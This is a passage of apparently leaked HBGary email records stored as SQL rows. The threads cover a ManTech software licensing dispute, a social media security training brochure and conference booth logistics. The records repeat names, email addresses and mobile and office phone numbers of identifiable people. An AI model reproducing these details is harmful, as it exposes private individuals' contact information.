<penny@hbgary.com>','Re: ManTech','Yep agreed.  And I think there is a win win.  We can do a pass through of funds for licenses that are added to the cost of the employees.  This is normally how managed services run anyway.  So they will get the software and basically pass the cost onto customers.  We get in writing an agreement to put bodies on contract with software.\r\nAaronFrom my iPhoneOn Oct 5, 2010, at 10:24 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIT has to be in writing, I will not trust them again.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 4:48 AM\r\nTo: Bob Slapnik\r\nCc: &#39;Penny Leavy-Hoglund&#39;\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOK I will ask Eric some questions.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nA thought though.  Is it possible to see how far he\r\nwill take this.  They manage 5 current SOCs.  What if they allow us\r\nto place 5 qualified candidates in existing SOCs and within the strategic\r\npartnership guarantee they will sell DDNA within their MDA solution.\r\n Remember they do $30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nGiving away free software is like putting a person on a\r\nservices contract free of charge.  It is just not good business.  But\r\nif they can push the cost somewhere else and allow us to put people on contract\r\nand then we can figure out how to get some of that money to HBGary from the\r\nservices side to pay for the licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI will speak with David and learn more about his motives. \r\nI just wanted to make sure that you, Penny and I were all on the same\r\npage.  It would be helpful if you tell Eric that deployment of HBGary\r\nsoftware into production always happens with revenue, and ManTech won’t be an\r\nexception.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn reading the tea leaves of David’s email, it sounds like he is\r\nholding out the carrot of future services revenue to HBG Fed, but aren’t you\r\nexpecting that revenue anyhow?  Please have a frank conversation with Eric\r\nand ask him if future partnering is contingent on our cutting them a sweetheart\r\ndeal.  We have no plans to grant the sweetheart deal, but we need to ask\r\nthe hard questions to flush out what Eric is thinking.  Also ask who is\r\nputting these thoughts into David’s head?  Who within ManTech might be\r\ninfluencing him?  David stated, “I’ve had discussions with my Executive\r\nLeadership toward that end”.  Who?  I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, October 04,\r\n2010 10:54 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: &#39;Bob Slapnik&#39;\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am on board.  You can&#39;t ask a small company to give\r\naway software for free in hopes of future engagements.  One thing to be\r\nclear on is big companies don&#39;t speak with one voice, they have many.  The\r\nguy your working with fits somewhere in the food chain below Eric (who I am\r\nmeeting with tomorrow).  And often external and internal efforts are\r\nseparated financially and functionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat I am not clear on is why the change in plans?  If\r\nI understand the circumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope we can’t do this for free, it’s a business just like they\r\nhave a business and we need to make money.  WE aren’t using their software\r\nfor free and quite frankly we’ve done MORE than we said we would because of\r\nthis “strategic” relationship. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04,\r\n2010 6:35 PM\r\nTo: &#39;Penny Leavy-Hoglund&#39;;\r\n&#39;Aaron Barr&#39;\r\nSubject: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease see the email chain below.  I wanted to have some\r\ninternal dialogue before I speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached powerpoint was David’s proposition to HBGary that\r\nthey purchase DDNA during the development of their MDA system then deploy it to\r\nthe ManTech SOC after the New Year.  We ended up charging them $30,625\r\nduring the development phase with the plan that they would apply that amount\r\ntoward the purchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn his email below he is “pitching” that we provide our software\r\nto the ManTech SOC for free in exchange for workshare on contracts and ManTech\r\nreselling DDNA licenses to customers via MDA.   Personally, I don’t\r\nlike the idea.  In my entire business career I’ve never experienced a good\r\noutcome for “future revenue” schemes. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne reason we cooperated during their development phase was\r\nbecause we had a promise that the SOC would buy.  Now, David is proposing\r\nto change the deal.  We had a deal in concept worked out for the\r\ndevelopment phase, a discounted reseller price for the SOC, and reseller\r\npricing for when they use our software on their services engagements.  I\r\nview his latest “offer” to be reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI want the three us (Penny, Aaron and me) to be in agreement as\r\nto how we approach ManTech.  I am not inclined to drop my drawers, but I\r\nam willing to bend if ManTech shows could faith with a reasonable amount of\r\nmoney upfront.  Perhaps if they buy a license for the SOC we could provide\r\nthem an extra reseller discount on some future transactions to RECOVER THEIR\r\nCOSTS over time.  I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04,\r\n2010 8:19 PM\r\nTo: Bob Slapnik\r\nSubject: RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll good questions J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the update on the mods, that is good news!  In\r\nterms of testing, are we still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs you know we have purchased a 500 node license for $32K+ that\r\nwere are using for testing and integration, with the intent the annual clock\r\nfor the licensing would start at the beginning of 2011 when we actually deploy\r\nMDA to the ManTech SOC.  The current plan is that the ManTech SOC would\r\nacquire additional DDNA licenses (up to 2,500 additional licenses, bringing the\r\ntotal to 3,000 with the 500 we’ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’ve been holding off on finalizing anything with the SOC, as I\r\nwanted to address the possibility of a strategic business relationship with you\r\n(HBGary), wherein ManTech would be able to leverage DDNA free of cost\r\ninternally in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.  I’ve had discussions with my Executive\r\nLeadership toward that end, and I need to follow up on with my leadership again\r\nso we can move toward some sort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt any rate, your email has brought all this back on my radar J  The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.  If for some reason you haven’t heard from me in two\r\nweeks, please ping me again.  I certainly don’t mean to get side-tracked,\r\nbut I wear about six different hats J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, October 04,\r\n2010 6:26 PM\r\nTo: Savage, David R\r\nSubject: RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted to tell you that the software mods you wanted have been\r\ncompleted and are now in testing.  Also, we had discussed that you intend\r\nto deploy your MDA software with HBGary’s DDNA agent into the ManTech SOC after\r\nthe New Year.  Is that still the plan?  We had discussed that the\r\nManTech SOC would be purchasing the HBGary software as part of that\r\ndeployment.  Is that plan still active?  Does the SOC have its budget\r\nidentified for that purchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis email is chock full of questions, isn’t it?  J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik  |  Vice President  |  HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Savage, David R\r\n[mailto:David.Savage@ManTech.com] \r\nSent: Monday, October 04,\r\n2010 6:29 PM\r\nTo: Bob Slapnik\r\nSubject: FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob –\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI received your voicemail.  I do not have easy access to a\r\nphone this week.  Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Unity Messaging\r\nSystem - CHN-UNITY-1 \r\nSent: Monday, October 04,\r\n2010 1:55 PM\r\nTo: Savage, David R\r\nSubject: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',958,'aaron_hbgary_com/958.html'),(12655,'2010-10-05','\"Christopher L Barnett\" <cbarnett4@csc.com>','/aaron@hbgary.com/new/1297009336.M602914P14101Q7510.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Training','Aaron:&nbsp;This will make the rounds in the consulting practice and our cyber training lead. I will pass it around at ODNI as well. Ups and downs. Let\'s just say I\'m not being stretched at the moment. We\'ll see. ;)Christopher BarnettPrincipal (Strategy Expert-Cyber)Computer Sciences Corporation3110 Fairview Park Drive, Falls Church, VA 22042Federal Consulting Practice (FCP)cbarnett4@csc.com571-230-5231\"Si vis pacem, para bellum\"- Old Roman Proverb This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.-----Aaron Barr &lt;aaron@hbgary.com&gt; wrote: -----To: Christopher L Barnett/USA/CSC@CSCFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: 10/03/2010 10:14PMSubject: Re: Social Media TrainingHey Chris, Doing OK. &nbsp;A bit slow.Feel free to pass along. &nbsp;The training has some very interesting attack methods for exploiting social media I am not sure many are thinking about yet.How about you? &nbsp;How is CSC treating you?AaronOn Oct 3, 2010, at 4:08 PM, Christopher L Barnett wrote:Aaron: Very cool. I\'ll take a look. May I disseminate within CSC and discuss with some government colleagues in the IC? How are things going otherwise? Christopher BarnettPrincipal (Strategy Expert-Cyber)Computer Sciences Corporation3110 Fairview Park Drive, Falls Church, VA 22042Federal Consulting Practice (FCP)cbarnett4@csc.com571-230-5231\"Si vis pacem, para bellum\"- Old Roman Proverb This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Christopher L Barnett/USA/CSC@CSC Date: 10/01/2010 01:01 PM Subject: Social Media TrainingHey Chris,I thought you might be interested.Social media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection. &nbsp;It is quite an engaging and helpful training program. &nbsp;I think you would be surprised at how exploitable organizations are through social media.Attached is the training brochure. &nbsp;I would be interested to hear what you think.[attachment \"SM Training Brochure 25K Promo.pdf\" deleted by Christopher L Barnett/USA/CSC] Aaron BarrCEOHBGary Federal, LLC719.510.8478Aaron BarrCEOHBGary Federal, LLC719.510.8478',3243,'aaron_hbgary_com/3243.html'),(12656,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009336.M812776P14101Q7511.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Partner Booth Information','Oct. 12thFrom my iPhoneOn Oct 5, 2010, at 10:25 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWhen is this for (date?)  I have a new table top comimg in\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 3:13 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: DeeAnn Buonaccorsi\r\nSubject: Re: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGreat thanks.  I just need the basics: marketing\r\nmaterial, table cloth, business card stands, that pull up signage the small one\r\nnot the huge one\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThat should do it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron \r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 12:40 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure\r\nlet Deeann know wht you need\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Friday, October 01, 2010 7:32 PM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nCan\r\nI get a bit of the booth material for this conference?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nDan Woods &lt;dwoods@palantir.com&gt;\r\nTo: Dan Woods &lt;dwoods@palantir.com&gt;\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6\r\nPartner Booth Presenters:\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which should answer all\r\nyour logistical questions about the upcoming conference.  You can write me\r\nwith any questions.\r\n\r\nSee you soon!\r\n\r\n-Dan\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; |\r\n650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6433,'aaron_hbgary_com/6433.html'),(12657,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009337.M280919P14101Q7513.eml','\"Christopher L Barnett\" <cbarnett4@csc.com>','Re: Social Media Training','Great thanks.  If you get a chance to come to my social media presentation this afternoon.From my iPhoneOn Oct 5, 2010, at 10:29 AM, Christopher L Barnett &lt;cbarnett4@csc.com&gt; wrote:\r\nAaron: This will make the rounds in the consulting practice and our cyber training lead. I will pass it around at ODNI as well. \r\nUps and downs. Let&#39;s just say I&#39;m not being stretched at the moment. We&#39;ll see. ;)Christopher BarnettPrincipal (Strategy Expert-Cyber)Computer Sciences Corporation3110 Fairview Park Drive, Falls Church, VA 22042\r\nFederal Consulting Practice (FCP)cbarnett4@csc.com571-230-5231&quot;Si vis pacem, para bellum&quot;- Old Roman Proverb \r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n-----Aaron Barr &lt;aaron@hbgary.com&gt; wrote: -----\r\nTo: Christopher L Barnett/USA/CSC@CSCFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: 10/03/2010 10:14PMSubject: Re: Social Media TrainingHey Chris, \r\nDoing OK.  A bit slow.Feel free to pass along.  The training has some very interesting attack methods for exploiting social media I am not sure many are thinking about yet.\r\nHow about you?  How is CSC treating you?AaronOn Oct 3, 2010, at 4:08 PM, Christopher L Barnett wrote:\r\nAaron: Very cool. I&#39;ll take a look. May I disseminate within CSC and discuss with some government colleagues in the IC? \r\nHow are things going otherwise? Christopher Barnett\r\nPrincipal (Strategy Expert-Cyber)Computer Sciences Corporation3110 Fairview Park Drive, Falls Church, VA 22042Federal Consulting Practice (FCP)cbarnett4@csc.com\r\n571-230-5231&quot;Si vis pacem, para bellum&quot;- Old Roman Proverb This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Christopher L Barnett/USA/CSC@CSC \r\nDate: 10/01/2010 01:01 PM \r\nSubject: Social Media Training\r\nHey Chris,I thought you might be interested.Social media security is something everyone needs to be made more aware of, so we have restructured our training to make it more affordable for organizations to train as many people as they can fit into 2 days of training, covering the essentials of familiarization, effective use, risks, methods of exploitation, and protection.  It is quite an engaging and helpful training program.  I think you would be surprised at how exploitable organizations are through social media.\r\nAttached is the training brochure.  I would be interested to hear what you think.[attachment &quot;SM Training Brochure 25K Promo.pdf&quot; deleted by Christopher L Barnett/USA/CSC] Aaron BarrCEO\r\nHBGary Federal, LLC719.510.8478\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n',16263,'aaron_hbgary_com/16263.html'),(12658,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009337.M36540P14101Q7512.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am going to hold off calling David about his email until after\r\nyou talk to Eric.&nbsp; Please let me know how that goes.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 10:27 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep agreed. &nbsp;And I think there is a win win. &nbsp;We\r\ncan do a pass through of funds for licenses that are added to the cost of the\r\nemployees. &nbsp;This is normally how managed services run anyway. &nbsp;So\r\nthey will get the software and basically pass the cost onto customers. &nbsp;We\r\nget in writing an agreement to put bodies on contract with software.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 10:24 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIT\r\nhas to be in writing, I will not trust them again.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 4:48 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy-Hoglund\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK\r\nI will ask Eric some questions.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA\r\nthought though. &nbsp;Is it possible to see how far he will take this.\r\n&nbsp;They manage 5 current SOCs. &nbsp;What if they allow us to place 5\r\nqualified candidates in existing SOCs and within the strategic partnership\r\nguarantee they will sell DDNA within their MDA solution. &nbsp;Remember they do\r\n$30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGiving\r\naway free software is like putting a person on a services contract free of\r\ncharge. &nbsp;It is just not good business. &nbsp;But if they can push the cost\r\nsomewhere else and allow us to put people on contract and then we can figure\r\nout how to get some of that money to HBGary from the services side to pay for\r\nthe licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill speak with David and learn more about his motives.&nbsp; I just wanted to\r\nmake sure that you, Penny and I were all on the same page.&nbsp; It would be\r\nhelpful if you tell Eric that deployment of HBGary software into production\r\nalways happens with revenue, and ManTech won&#8217;t be an exception.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the tea leaves of David&#8217;s email, it sounds like he is holding out the\r\ncarrot of future services revenue to HBG Fed, but aren&#8217;t you expecting that\r\nrevenue anyhow?&nbsp; Please have a frank conversation with Eric and ask him if\r\nfuture partnering is contingent on our cutting them a sweetheart deal.&nbsp; We\r\nhave no plans to grant the sweetheart deal, but we need to ask the hard\r\nquestions to flush out what Eric is thinking.&nbsp; Also ask who is putting\r\nthese thoughts into David&#8217;s head?&nbsp; Who within ManTech might be influencing\r\nhim?&nbsp; David stated, &#8220;I&#8217;ve had discussions with my Executive Leadership\r\ntoward that end&#8221;.&nbsp; Who?&nbsp; I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 10:54 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Bob Slapnik\'\r\nSubject:&nbsp;Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam on board. &nbsp;You can\'t ask a small company to give away software for free\r\nin hopes of future engagements. &nbsp;One thing to be clear on is big companies\r\ndon\'t speak with one voice, they have many. &nbsp;The guy your working with\r\nfits somewhere in the food chain below Eric (who I am meeting with tomorrow).\r\n&nbsp;And often external and internal efforts are separated financially and\r\nfunctionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nI am not clear on is why the change in plans? &nbsp;If I understand the\r\ncircumstances clearly I may be able to 